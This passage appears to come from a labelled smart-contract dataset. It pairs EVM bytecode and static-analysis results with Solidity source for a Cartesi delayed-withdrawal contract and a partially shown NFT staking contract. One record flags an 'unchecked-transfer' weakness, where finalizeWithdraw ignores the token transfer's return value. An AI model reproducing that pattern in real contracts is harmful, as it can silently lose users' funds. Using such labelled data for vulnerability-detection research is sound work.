ffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220d94644a8f35f3a8b8c023f9e8d590716bfe7ca8e53de6b3eaa230bd6c0283cab64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 4,060 |
0x207227Fb7582E37055a3901328B76f3765Dcb7dD
|
// Copyright 2020 Cartesi Pte. Ltd.
// SPDX-License-Identifier: Apache-2.0
// Licensed under the Apache License, Version 2.0 (the "License"); you may not use
// this file except in compliance with the License. You may obtain a copy of the
// License at http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software distributed
// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
// CONDITIONS OF ANY KIND, either express or implied. See the License for the
// specific language governing permissions and limitations under the License.
/// @title DelayedWithdraw
/// @author Felipe Argento
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract DelayedWithdraw is Ownable {
using SafeMath for uint256;
uint256 constant delay = 60;
Withdrawal private withdrawal;
IERC20 ctsi;
struct Withdrawal {
address receiver;
uint256 amount;
uint256 timestamp;
}
/// @notice Constructor
/// @param _ctsi IERC20 that this contract is gonna work with
constructor(IERC20 _ctsi) public {
ctsi = _ctsi;
}
/// @notice Get the amount of tokens to be released next withdrawal
function getWithdrawalAmount() public view returns (uint256) {
return withdrawal.amount;
}
/// @notice Get the receiver of tokens to be released next withdrawal
function getWithdrawalReceiver() public view returns (address) {
return withdrawal.receiver;
}
/// @notice Get the timestamp of when next withdrawal was created
function getWithdrawalTimestamp() public view returns (uint256) {
return withdrawal.timestamp;
}
/// @notice Creates a withdrawal request that will be finalized after delay time
/// @param _receiver address that will receive the token
/// @param _amount amount of tokens for the request
function requestWithdrawal(
address _receiver,
uint256 _amount
)
public
onlyOwner()
returns (bool)
{
require(_amount > 0, "withdrawal amount has to be bigger than 0");
uint256 newAmount = withdrawal.amount.add(_amount);
require(
newAmount <= ctsi.balanceOf(address(this)),
"Not enough tokens in the contract for this Withdrawal request"
);
withdrawal.receiver = _receiver;
withdrawal.amount = newAmount;
withdrawal.timestamp = block.timestamp;
emit WithdrawRequested(_receiver, newAmount, block.timestamp);
return true;
}
/// @notice Finalizes withdraw and transfer the tokens to receiver
function finalizeWithdraw() public onlyOwner returns (bool) {
uint256 amount = withdrawal.amount;
require(
withdrawal.timestamp.add(delay) <= block.timestamp,
"Withdrawal is not old enough to be finalized"
);
require(amount > 0, "There are no active withdrawal requests");
withdrawal.amount = 0;
ctsi.transfer(withdrawal.receiver, amount);
emit WithdrawFinalized(withdrawal.receiver, amount);
return true;
}
/// @notice Cancel any pending unfinalized withdrawal
function cancelWithdrawal() public onlyOwner returns (bool) {
require(withdrawal.amount > 0, "There are no active withdrawal requests");
emit WithdrawCanceled(withdrawal.receiver, withdrawal.amount, block.timestamp);
withdrawal.amount = 0;
return true;
}
/// @notice Events signalling interactions
event WithdrawRequested(address _receiver, uint256 _amount, uint256 _timestamp);
event WithdrawCanceled(address _receiver, uint256 _amount, uint256 _timestamp);
event WithdrawFinalized(address _receiver, uint256 _amount);
}
|
0x608060405234801561001057600080fd5b50600436106100935760003560e01c80638da5cb5b116100665780638da5cb5b146100e0578063d18f9a5714610104578063da95ebf71461010c578063dbd27a1e14610138578063f2fde38b1461014057610093565b806322611280146100985780632c139e56146100b457806330fcc737146100ce578063715018a6146100d6575b600080fd5b6100a0610166565b604080519115158252519081900360200190f35b6100bc610258565b60408051918252519081900360200190f35b6100a061025e565b6100de61042a565b005b6100e86104cc565b604080516001600160a01b039092168252519081900360200190f35b6100e86104db565b6100a06004803603604081101561012257600080fd5b506001600160a01b0381351690602001356104ea565b6100bc6106c5565b6100de6004803603602081101561015657600080fd5b50356001600160a01b03166106cb565b60006101706107c3565b6000546001600160a01b039081169116146101c0576040805162461bcd60e51b8152602060048201819052602482015260008051602061089f833981519152604482015290519081900360640190fd5b6002546101fe5760405162461bcd60e51b81526004018080602001828103825260278152602001806108296027913960400191505060405180910390fd5b600154600254604080516001600160a01b03909316835260208301919091524282820152517fc4d117100433dc3e9c2d45638e275b85825b34d885843496c575b6084f4ec03f9181900360600190a1506000600255600190565b60035490565b60006102686107c3565b6000546001600160a01b039081169116146102b8576040805162461bcd60e51b8152602060048201819052602482015260008051602061089f833981519152604482015290519081900360640190fd5b60025460035442906102d190603c63ffffffff6107c716565b111561030e5760405162461bcd60e51b815260040180806020018281038252602c8152602001806108bf602c913960400191505060405180910390fd5b6000811161034d5760405162461bcd60e51b81526004018080602001828103825260278152602001806108296027913960400191505060405180910390fd5b60006002819055600480546001546040805163a9059cbb60e01b81526001600160a01b0392831694810194909452602484018690525191169263a9059cbb92604480820193602093909283900390910190829087803b1580156103af57600080fd5b505af11580156103c3573d6000803e3d6000fd5b505050506040513d60208110156103d957600080fd5b5050600154604080516001600160a01b0390921682526020820183905280517f8e1bbfcc2e88f484062a93a44160036795ec33851df7fdea7e00108bfe4e82e49281900390910190a1600191505090565b6104326107c3565b6000546001600160a01b03908116911614610482576040805162461bcd60e51b8152602060048201819052602482015260008051602061089f833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b6001546001600160a01b031690565b60006104f46107c3565b6000546001600160a01b03908116911614610544576040805162461bcd60e51b8152602060048201819052602482015260008051602061089f833981519152604482015290519081900360640190fd5b600082116105835760405162461bcd60e51b81526004018080602001828103825260298152602001806108766029913960400191505060405180910390fd5b600254600090610599908463ffffffff6107c716565b60048054604080516370a0823160e01b81523093810193909352519293506001600160a01b0316916370a0823191602480820192602092909190829003018186803b1580156105e757600080fd5b505afa1580156105fb573d6000803e3d6000fd5b505050506040513d602081101561061157600080fd5b50518111156106515760405162461bcd60e51b815260040180806020018281038252603d8152602001806108eb603d913960400191505060405180910390fd5b600180546001600160a01b0386166001600160a01b031990911681179091556002829055426003819055604080519283526020830184905282810191909152517fd72eb5d043f24a0168ae744d5c44f9596fd673a26bf74d9646bff4b844882d149181900360600190a15060019392505050565b60025490565b6106d36107c3565b6000546001600160a01b03908116911614610723576040805162461bcd60e51b8152602060048201819052602482015260008051602061089f833981519152604482015290519081900360640190fd5b6001600160a01b0381166107685760405162461bcd60e51b81526004018080602001828103825260268152602001806108506026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b600082820183811015610821576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe546865726520617265206e6f20616374697665207769746864726177616c2072657175657374734f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573737769746864726177616c20616d6f756e742068617320746f20626520626967676572207468616e20304f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725769746864726177616c206973206e6f74206f6c6420656e6f75676820746f2062652066696e616c697a65644e6f7420656e6f75676820746f6b656e7320696e2074686520636f6e747261637420666f722074686973205769746864726177616c2072657175657374a2646970667358221220be277ef40195bf13ed81f5ec073d2c2768a4e8ed6aee95a624ffb0cfa1b9c21564736f6c634300060b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 4,061 |
0xCb840697aC807329C5AaaC3038D85DD67ab63983
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
interface IUnit {
function balanceOf(address _address) external view returns (uint256);
function stake(address _address) external;
function unstake(address _address) external;
function getStakingStatus(address _address) external view returns (bool);
function stakingInformation() external view returns (address, bool);
}
interface genericBalanceOf {
function balanceOf(address _address) external view returns (uint256);
}
error CallerIsSmartContract();
error CallerNotOwner();
error CallerNotApprovedUnit();
error NewOwnerZeroAddress();
contract MythicalDreamlandPreSeason {
struct _stakeableUnit {
IUnit stakeableContract;
uint256 dailyYield;
uint256 baseYield;
}
struct _stakerData {
uint128 accumulatedRewards;
uint64 lastClaimTimestamp;
uint64 stakedUnlockTimestamp;
}
struct _seasonData {
bool active;
uint256 startTimestamp;
uint256 endTimestamp;
}
address internal _owner;
genericBalanceOf public INHIB;
genericBalanceOf public LORD;
uint256 private immutable etherConversion = 1000000000000000000;
uint256 public totalStakeableUnits;
uint256 public lordBonus = 20;
uint256 public inhibitorBonus = 10;
uint256 public lockedBonus = 50;
uint256 public optionalLockPeriod = 30;
_seasonData public seasonData;
mapping (address => bool) private _approvedUnits;
mapping (address => uint256) private _stakeableUnitsLocations;
mapping (uint256 => _stakeableUnit) private stakeableUnits;
mapping (address => _stakerData) private stakerData;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _inhibAddress) {
_transferOwnership(_msgSender());
setInhibitor(_inhibAddress);
}
function _msgSender() internal view returns (address) {
return msg.sender;
}
modifier callerIsUser() {
if (tx.origin != _msgSender() || _msgSender().code.length != 0) revert CallerIsSmartContract();
_;
}
modifier onlyOwner() {
if (owner() != _msgSender()) revert CallerNotOwner();
_;
}
modifier onlyApprovedUnit() {
if (!_approvedUnits[_msgSender()]) revert CallerNotApprovedUnit();
_;
}
/**
* @dev Returns the current timestamp rewards are calculated against.
*/
function getTimestamp() public view returns (uint256) {
uint256 currentTimeStamp = block.timestamp;
if (seasonData.endTimestamp == 0) return currentTimeStamp;
return (currentTimeStamp > seasonData.endTimestamp ? seasonData.endTimestamp : currentTimeStamp);
}
/**
* @dev Stakes the `caller` tokens for `_stakingContract`. If the user elects to opt into time lock, tokens will be locked for 30 days.
* Requirements:
*
* - The season must be active.
* - The `caller` must own an Inhibitor.
* - The `_stakingContract` must be an approved unit.
* - the tokens of `caller` must currently be unstaked.
*/
function stakeUnits(address _stakingContract, bool _optIntoLock) public callerIsUser {
require(seasonData.active, "SeasonHasEnded");
require(INHIB.balanceOf(_msgSender()) > 0, "NoInhibitorOwned");
uint256 location = _stakeableUnitsLocations[_stakingContract];
require(location != 0, "UnknownStakeableUnit");
if (getUserIsStaked(_msgSender())) {
aggregateRewards(_msgSender());
} else {
stakerData[_msgSender()].lastClaimTimestamp = uint64(block.timestamp);
}
if (_optIntoLock) {
stakerData[_msgSender()].stakedUnlockTimestamp = uint64(block.timestamp + (optionalLockPeriod * 1 days));
}
if (!stakeableUnits[location].stakeableContract.getStakingStatus(_msgSender()) && stakeableUnits[location].stakeableContract.balanceOf(_msgSender()) > 0){
stakeableUnits[location].stakeableContract.stake(_msgSender());
} else {
revert("NoUnitsToStake");
}
}
/**
* @dev Unstakes the `caller` tokens for `_stakingContract`.
* Requirements:
*
* - The tokens of `caller` must not currently be optionally locked.
* - The `_stakingContract` must be an approved unit.
* - the tokens of `caller` must currently be staked.
*/
function unstakeUnits(address _stakingContract) public callerIsUser {
uint256 location = _stakeableUnitsLocations[_stakingContract];
require(location != 0, "UnknownStakeableUnit");
require(stakerData[_msgSender()].stakedUnlockTimestamp < block.timestamp, "TimeLockActive");
aggregateRewards(_msgSender());
if (stakeableUnits[location].stakeableContract.getStakingStatus(_msgSender())){
stakeableUnits[location].stakeableContract.unstake(_msgSender());
} else {
revert("NoUnitsToUnstake");
}
}
/**
* @dev Locks in rewards of `_address` for staking.
* Requirements:
*
* - The `caller` must either be `_address` or an approved unit itself.
*/
function aggregateRewards(address _address) public {
require (_approvedUnits[_msgSender()] || _address == _msgSender(), "CallerLacksPermissions");
uint256 rewards = getPendingRewards(_address);
stakerData[_address].lastClaimTimestamp = uint64(block.timestamp);
stakerData[_address].accumulatedRewards += uint128(rewards);
}
/**
* @dev Returns the current total rewards of `_address` from staking.
*/
function getAccumulatedRewards(address _address) public view returns (uint256) {
unchecked {
return getPendingRewards(_address) + stakerData[_address].accumulatedRewards;
}
}
/**
* @dev Returns the current pending rewards of `_address` from staking.
*/
function getPendingRewards(address _address) public view returns (uint256) {
uint256 units = totalStakeableUnits;
if (units == 0) return 0;
uint256 rewards;
unchecked {
for (uint256 i = 1; i <= units; i++){
if (stakeableUnits[i].stakeableContract.getStakingStatus(_address)){
rewards += stakeableUnits[i].stakeableContract.balanceOf(_address) * stakeableUnits[i].baseYield;
}
}
return rewards * getTimeSinceClaimed(_address) * getStakingMultiplier(_address) / 100;
}
}
/**
* @dev Returns the time in seconds it has been since `_address` has last locked in rewards from staking.
*/
function getTimeSinceClaimed(address _address) public view returns (uint256) {
if (stakerData[_address].lastClaimTimestamp == 0) return getTimestamp() - seasonData.startTimestamp;
return stakerData[_address].lastClaimTimestamp > getTimestamp() ? 0 : getTimestamp() - stakerData[_address].lastClaimTimestamp;
}
/**
* @dev Returns the total staking multiplier of `_address`.
*/
function getStakingMultiplier(address _address) public view returns (uint256) {
return 100 + getInhibitorMultiplier(_address) + getLockedMultiplier(_address) + getLordMultiplier(_address);
}
/**
* @dev Returns the Inhibitor staking multiplier of `_address`.
*/
function getInhibitorMultiplier(address _address) public view returns (uint256) {
uint256 inhibBonus = INHIB.balanceOf(_address) * inhibitorBonus;
return inhibBonus > 100 ? 100 : inhibBonus;
}
/**
* @dev Returns the optional lock staking multiplier of `_address`.
*/
function getLockedMultiplier(address _address) public view returns (uint256) {
return stakerData[_address].stakedUnlockTimestamp > 0 ? lockedBonus : 0;
}
/**
* @dev Returns the Lord staking multiplier of `_address`.
*/
function getLordMultiplier(address _address) public view returns (uint256) {
if (address(LORD) == address(0)) return 0;
return LORD.balanceOf(_address) > 0 ? lordBonus : 0;
}
/**
* @dev Returns the current `_stakingContract` unit balance of `_address`.
*/
function getUserUnitBalance(address _address, address _stakingContract) public view returns (uint256) {
return stakeableUnits[_stakeableUnitsLocations[_stakingContract]].stakeableContract.balanceOf(_address);
}
/**
* @dev Returns whether `_address` is staked overall or not.
*/
function getUserIsStaked(address _address) public view returns (bool) {
uint256 units = totalStakeableUnits;
if (units == 0) return false;
for (uint256 i = 1; i <= units; i++){
if (stakeableUnits[i].stakeableContract.getStakingStatus(_address)){
return true;
}
}
return false;
}
/**
* @dev Returns whether `_address` has `_stakingContract` units staked or not.
*/
function getUserStakingStatus(address _address, address _stakingContract) public view returns (bool) {
return stakeableUnits[_stakeableUnitsLocations[_stakingContract]].stakeableContract.getStakingStatus(_address);
}
/**
* @dev Returns the daily token yield of `_address`.
* - Note: This is returned in wei which is the tiniest unit so to see the daily yield in whole tokens divide by 1000000000000000000.
*/
function getUserDailyYield(address _address) public view returns (uint256) {
uint256 units = totalStakeableUnits;
if (units == 0) return 0;
uint256 rewards;
for (uint256 i = 1; i <= units; i++){
if (stakeableUnits[i].stakeableContract.getStakingStatus(_address)){
rewards += stakeableUnits[i].stakeableContract.balanceOf(_address) * stakeableUnits[i].dailyYield;
}
}
return rewards * getStakingMultiplier(_address) / 100;
}
/**
* @dev Updates the yield of `_stakingContract`, only the smart contract owner can call this.
*/
function updateUnitYield(address _stakingContract, uint256 _newYield) public onlyOwner {
uint256 location = _stakeableUnitsLocations[_stakingContract];
require(location != 0, "UnknownStakeableUnit");
stakeableUnits[location].dailyYield = _newYield * etherConversion;
stakeableUnits[location].baseYield = stakeableUnits[location].dailyYield / 86400;
}
/**
* @dev Returns whether `_address` will lock in rewards on receiving a new staked token. Must have been > 1 hour since last claim.
*/
function needsRewardsUpdate(address _address) public view returns (bool) {
return 3600 < getTimeSinceClaimed(_address);
}
/**
* @dev Adds `_unitAddress` as a stakeable unit, only the smart contract owner can call this.
*/
function addApprovedUnit(address _unitAddress) public onlyOwner {
_approvedUnits[_unitAddress] = true;
}
/**
* @dev Removes `_unitAddress` as a stakeable unit, only the smart contract owner can call this.
*/
function removeApprovedUnit(address _unitAddress) public onlyOwner {
delete _approvedUnits[_unitAddress];
}
/**
* @dev Start staking for an approved unit with the daily yield of `_dailyYield`, only approved units can call this.
*/
function startSeason(uint256 _dailyYield) public onlyApprovedUnit {
uint256 newUnit = ++totalStakeableUnits;
_stakeableUnitsLocations[_msgSender()] = newUnit;
stakeableUnits[newUnit].stakeableContract = IUnit(_msgSender());
stakeableUnits[newUnit].dailyYield = _dailyYield * etherConversion;
stakeableUnits[newUnit].baseYield = stakeableUnits[newUnit].dailyYield / 86400;
if (!seasonData.active){
seasonData.active = true;
seasonData.startTimestamp = block.timestamp;
}
}
/**
* @dev Ends staking for all approved units, only approved units can call this.
*/
function endSeason() public onlyApprovedUnit {
seasonData.endTimestamp = block.timestamp;
delete seasonData.active;
}
/**
* @dev Updates the Inhibitor smart contract address to `_address`, only the smart contract owner can call this.
*/
function setInhibitor(address _address) public onlyOwner {
INHIB = genericBalanceOf(_address);
}
/**
